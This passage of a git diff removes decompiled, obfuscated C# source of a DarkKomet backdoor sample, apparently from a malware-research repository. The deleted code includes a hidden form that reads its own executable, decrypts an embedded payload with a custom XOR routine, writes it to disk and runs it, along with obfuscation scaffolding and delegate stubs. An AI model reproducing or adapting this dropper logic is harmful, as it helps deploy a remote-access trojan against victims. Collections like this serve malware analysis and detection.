- catch (Exception ex) - { - int num; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num; - \u0089\u0004.\u0019\u0005(ex, (object) local, (object) this); - throw; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() - { - try - { - return base.ToString(); - } - catch (Exception ex) - { - string str1; - string str2 = str1; - \u0089\u0004.\u0019\u0005(ex, (object) str2, (object) this); - throw; - } - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0096 - { - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals([In] object obj0) - { - try - { - return base.Equals(RuntimeHelpers.GetObjectValue(obj0)); - } - catch (Exception ex) - { - bool flag; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) flag; - object obj = obj0; - \u0089\u0004.\u001A\u0005(ex, (object) local, (object) this, obj); - throw; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() - { - try - { - return base.GetHashCode(); - } - catch (Exception ex) - { - int num; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num; - \u0089\u0004.\u0019\u0005(ex, (object) local, (object) this); - throw; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() - { - try - { - string str1 = base.ToString(); - if (true) - goto label_2; -label_1: - string str2; - return str2; -label_2: - str2 = str1; - goto label_1; - } - catch (Exception ex) - { - string str3; - string str4 = str3; - \u0089\u0004.\u0019\u0005(ex, (object) str4, (object) this); - throw; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0096() - { - try - { - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class \u0097<\u0098> where \u0098 : new() - { - [SpecialName] - internal \u0098 \u0083\u0003() - { - bool flag; - try - { - // ISSUE: reference to a compiler-generated field - flag = (object) \u0094.\u0097<\u0098>.\u0001 == null; - if (flag) - goto label_2; -label_1: - // ISSUE: reference to a compiler-generated field - return \u0094.\u0097<\u0098>.\u0001; -label_2: - // ISSUE: reference to a compiler-generated field - \u0094.\u0097<\u0098>.\u0001 = new \u0098(); - goto label_1; - } - catch (Exception ex) - { - \u0098 obj; - // ISSUE: variable of a boxed type - __Boxed<\u0098> local1 = (object) obj; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) flag; - \u0089\u0004.\u001A\u0005(ex, (object) local1, (object) local2, (object) this); - throw; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0097() - { - try - { - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001C_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001C_0002.cs deleted file mode 100644 index e2658b58..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001C_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate void \u001C\u0002([In] object obj0, [In] string obj1, [In] string obj2); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001C_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001C_0003.cs deleted file mode 100644 index f8aeaada..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001C_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; - -internal delegate Guid \u001C\u0003(); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001C_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001C_0004.cs deleted file mode 100644 index e630ed72..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001C_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Delegate \u001C\u0004([In] object obj0, [In] Type obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001C_0004/_009B.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001C_0004/_009B.cs deleted file mode 100644 index e2559dfa..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001C_0004/_009B.cs +++ /dev/null @@ -1,85 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .› -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u001C\u0004; -using \u007F\u0004; -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; -using System.Text; - -namespace \u001C\u0004 -{ - internal class \u009B - { - [DebuggerNonUserCode] - public \u009B() - { - try - { - } - catch (Exception ex) - { - \u0089\u0004.\u0018\u0005(ex, (object) this); - throw; - } - } - - public static string \u0090\u0003([In] string obj0, [In] string obj1) - { - try - { - return \u0003\u0004.\u0093\u0005().GetString(\u009B.\u0090\u0003(\u0003\u0004.\u0093\u0005().GetBytes(obj0), \u0004\u0004.\u007E\u0092\u0005((object) Encoding.Default, obj1))); - } - catch (Exception ex) - { - string str1; - string str2 = str1; - string str3 = obj0; - string str4 = obj1; - \u0089\u0004.\u001A\u0005(ex, (object) str2, (object) str3, (object) str4); - throw; - } - } - - public static byte[] \u0090\u0003([In] byte[] obj0, [In] byte[] obj1) - { - int num1; - int num2; - try - { - num1 = checked (obj0.Length * 2 + obj1.Length); - while (true) - { - int num3 = num1; - num2 = 0; - int num4 = num2; - if (num3 >= num4) - { - obj0[num1 % obj0.Length] = checked ((byte) unchecked (checked (((int) obj0[unchecked (num1 % obj0.Length)] ^ (int) obj1[unchecked (num1 % obj1.Length)]) - (int) obj0[unchecked (checked (num1 + 1) % obj0.Length)] + 256) % 256)); - checked { num1 += -1; } - } - else - break; - } - return obj0; - } - catch (Exception ex) - { - byte[] numArray1; - byte[] numArray2 = numArray1; - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num2; - byte[] numArray3 = obj0; - byte[] numArray4 = obj1; - \u0089\u0004.\u001C\u0005(ex, (object) numArray2, (object) local1, (object) local2, (object) numArray3, (object) numArray4); - throw; - } - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001C_0004/_009D.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001C_0004/_009D.cs deleted file mode 100644 index 2bfeeeaf..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001C_0004/_009D.cs +++ /dev/null @@ -1,312 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u0003; -using \u001C\u0004; -using \u007F\u0004; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u001C\u0004 -{ - internal class \u009D : Form - { - private static List \u0001; - private IContainer \u0002; - - [DebuggerNonUserCode] - static \u009D() - { - try - { - \u009D.\u0001 = new List(); - } - catch (Exception ex) - { - \u0089\u0004.\u0017\u0005(ex); - throw; - } - } - - [DebuggerNonUserCode] - public \u009D() - { - List weakReferenceList1; - try - { - \u0098\u0004.\u0082\u0007((object) this, new EventHandler(this.\u0013\u0004)); - weakReferenceList1 = \u009D.\u0001; - \u001A\u0002.\u0014\u0004((object) weakReferenceList1); - try - { - \u009D.\u0001.Add(new WeakReference((object) this)); - } - finally - { - \u001A\u0002.\u0015\u0004((object) weakReferenceList1); - } - this.\u0091\u0003(); - } - catch (Exception ex) - { - List weakReferenceList2 = (object) weakReferenceList1; - \u0089\u0004.\u0019\u0005(ex, (object) weakReferenceList2, (object) this); - throw; - } - } - - [DebuggerNonUserCode] - protected override void Dispose([In] bool obj0) - { - bool flag; - try - { - try - { - flag = obj0 && this.\u0002 != null; - if (!flag) - return; - \u001A\u0002.\u007E\u0004\u0002((object) this.\u0002); - } - finally - { - \u0084\u0004.\u0084\u0007((object) this, obj0); - } - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) flag; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) obj0; - \u0089\u0004.\u001A\u0005(ex, (object) local1, (object) this, (object) local2); - throw; - } - } - - private void \u0091\u0003() - { - SizeF sizeF; - Size size1; - try - { - this.SuspendLayout(); - sizeF = new SizeF(6f, 13f); - this.AutoScaleDimensions = sizeF; - \u0096\u0004.\u007E\u001D\u0007((object) this, AutoScaleMode.Font); - \u0097\u0004 obj = \u0097\u0004.\u007E\u001F\u0007; - size1 = new Size(116, 22); - Size size2 = size1; - obj((object) this, size2); - \u0084\u0004.\u007E\u007F\u0007((object) this, false); - \u001B\u0002.\u007E\u0018\u0007((object) this, \u0002.\u0002\u0002(3075)); - \u0084\u0004.\u007E\u0081\u0007((object) this, false); - \u0084\u0004.\u007E\u0080\u0007((object) this, false); - \u0084\u0004.\u007E\u001A\u0007((object) this, false); - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) sizeF; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) size1; - \u0089\u0004.\u001A\u0005(ex, (object) local1, (object) local2, (object) this); - throw; - } - } - - private void \u0013\u0004([In] object obj0, [In] EventArgs obj1) - { - int num1; - string str1; - int num2; - string str2; - string str3; - string str4; - string str5; - string str6; - int[] numArray; - \u009B obj; - string str7; - string str8; - string[] strArray; - string str9; - int num3; - try - { -label_1: - try - { - num1 = 1; - this.Visible = false; -label_2: - num1 = 2; - str1 = \u0017\u0004.\u0012\u0007(); -label_3: - \u008F\u0004.\u0008\u0007(); - num2 = -2; -label_4: - num1 = 4; - str2 = \u0017\u0004.\u0015\u0006(); -label_5: - num1 = 5; - str3 = \u008C\u0004.\u0004\u0007(32); -label_6: - num1 = 6; - str4 = \u008C\u0004.\u0004\u0007(1); -label_7: - num1 = 7; - str5 = \u008C\u0004.\u0004\u0007(3); -label_8: - num1 = 8; - \u0087\u0004.\u009D\u0006(1, str1, (OpenMode) \u0014\u0003.\u0003\u0007(str3), (OpenAccess) \u0014\u0003.\u0003\u0007(str4), (OpenShare) \u0014\u0003.\u0003\u0007(str5), -1); -label_9: - num1 = 9; - str6 = \u008C\u0004.\u0010\u0007(checked ((int) \u008B\u0004.\u0002\u0007(1))); -label_10: - num1 = 10; - \u0089\u0004.\u009F\u0006(1, ref str6, -1L, false); -label_11: - num1 = 11; - numArray = new int[1]{ 1 }; - \u0088\u0004.\u009E\u0006(numArray); -label_12: - num1 = 12; - obj = new \u009B(); -label_13: - num1 = 13; - str7 = \u008C\u0004.\u0004\u0007(3); -label_14: - num1 = 14; - str8 = \u008C\u0004.\u0004\u0007(-1); -label_15: - num1 = 15; - strArray = \u0091\u0004.\u0011\u0007(str6, \u0002.\u0002\u0002(3084), -1, CompareMethod.Binary); -label_16: - num1 = 16; - str9 = \u009B.\u0090\u0003(strArray[1], \u0002.\u0002\u0002(3145)); -label_17: - num1 = 17; - \u0087\u0004.\u009D\u0006(5, \u009A\u0002.\u001E\u0002(str2, \u0002.\u0002\u0002(3198)), (OpenMode) \u0014\u0003.\u0003\u0007(str3), (OpenAccess) \u0014\u0003.\u0003\u0007(str7), (OpenShare) \u0014\u0003.\u0003\u0007(str8), -1); -label_18: - num1 = 18; - \u008A\u0004.\u0001\u0007(5, str9, -1L, false); -label_19: - num1 = 19; - numArray = new int[1]{ 5 }; - \u0088\u0004.\u009E\u0006(numArray); -label_20: - num1 = 20; - Process process = \u0080\u0002.\u0086(\u009A\u0002.\u001E\u0002(str2, \u0002.\u0002\u0002(3198))); -label_21: - num1 = 21; - \u001A\u0002.\u007E\u0083\u0007((object) this); - \u008F\u0004.\u000E\u0007(); - goto label_27; -label_23: - num3 = num1; - switch (num2 > -2 ? num2 : 1) - { - case 1: - int num4 = num3 + 1; - num3 = 0; - switch (num4) - { - case 1: - goto label_1; - case 2: - goto label_2; - case 3: - goto label_3; - case 4: - goto label_4; - case 5: - goto label_5; - case 6: - goto label_6; - case 7: - goto label_7; - case 8: - goto label_8; - case 9: - goto label_9; - case 10: - goto label_10; - case 11: - goto label_11; - case 12: - goto label_12; - case 13: - goto label_13; - case 14: - goto label_14; - case 15: - goto label_15; - case 16: - goto label_16; - case 17: - goto label_17; - case 18: - goto label_18; - case 19: - goto label_19; - case 20: - goto label_20; - case 21: - goto label_21; - case 22: - goto label_27; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num2 != 0 & num3 == 0) - { - ProjectData.SetProjectError(ex); - goto label_23; - } - throw \u008D\u0004.\u0006\u0007(-2146828237); -label_27: - if (num3 == 0) - return; - \u008F\u0004.\u0008\u0007(); - } - catch (Exception ex) - { - object[] objArray = new object[18] - { - (object) str6, - (object) str5, - (object) str1, - (object) str3, - (object) str9, - (object) str4, - (object) obj, - (object) strArray, - (object) str8, - (object) str7, - (object) str2, - (object) numArray, - (object) num2, - (object) num3, - (object) num1, - (object) this, - obj0, - (object) obj1 - }; - \u0089\u0004.\u0081\u0005(ex, objArray); - throw; - } - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001D_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001D_0002.cs deleted file mode 100644 index 83b59af8..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001D_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Exception \u001D\u0002([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001D_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001D_0003.cs deleted file mode 100644 index aada05df..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001D_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate int \u001D\u0003([In] int obj0, [In] int obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001D_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001D_0004.cs deleted file mode 100644 index 65e26b9f..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001D_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Reflection.Emit; -using System.Runtime.InteropServices; - -internal delegate ILGenerator \u001D\u0004([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001E_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001E_0002.cs deleted file mode 100644 index 8fe09724..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001E_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Configuration; -using System.Runtime.InteropServices; - -internal delegate SettingsBase \u001E\u0002([In] SettingsBase obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001E_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001E_0003.cs deleted file mode 100644 index 4c705251..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001E_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate PlatformID \u001E\u0003([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001E_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001E_0004.cs deleted file mode 100644 index 8e826ef4..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001E_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate byte[] \u001E\u0004([In] object obj0, [In] byte[] obj1, [In] int obj2, [In] int obj3); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001F_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001F_0002.cs deleted file mode 100644 index b6cfb9cf..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001F_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate IntPtr \u001F\u0002([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001F_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001F_0003.cs deleted file mode 100644 index a4ae2e2f..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001F_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Version \u001F\u0003([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001F_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001F_0004.cs deleted file mode 100644 index 5c7c4544..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_001F_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; -using System.Security.Cryptography; - -internal delegate ICryptoTransform \u001F\u0004([In] object obj0); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_003CModule_003E.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_003CModule_003E.cs deleted file mode 100644 index a0d3f22b..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_003CModule_003E.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u0010; -using \u001A\u0006; -using \u0090; - -internal class \u003CModule\u003E -{ - static \u003CModule\u003E() - { - \u008F.\u0005\u0002(); - \u000F.\u0005\u0002(); - \u0019\u0006.\u0005\u0002(); - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0002.cs deleted file mode 100644 index f47ebeda..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Diagnostics; - -internal delegate Process \u007F\u0002(); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0003.cs deleted file mode 100644 index e9a16b92..00000000 --- 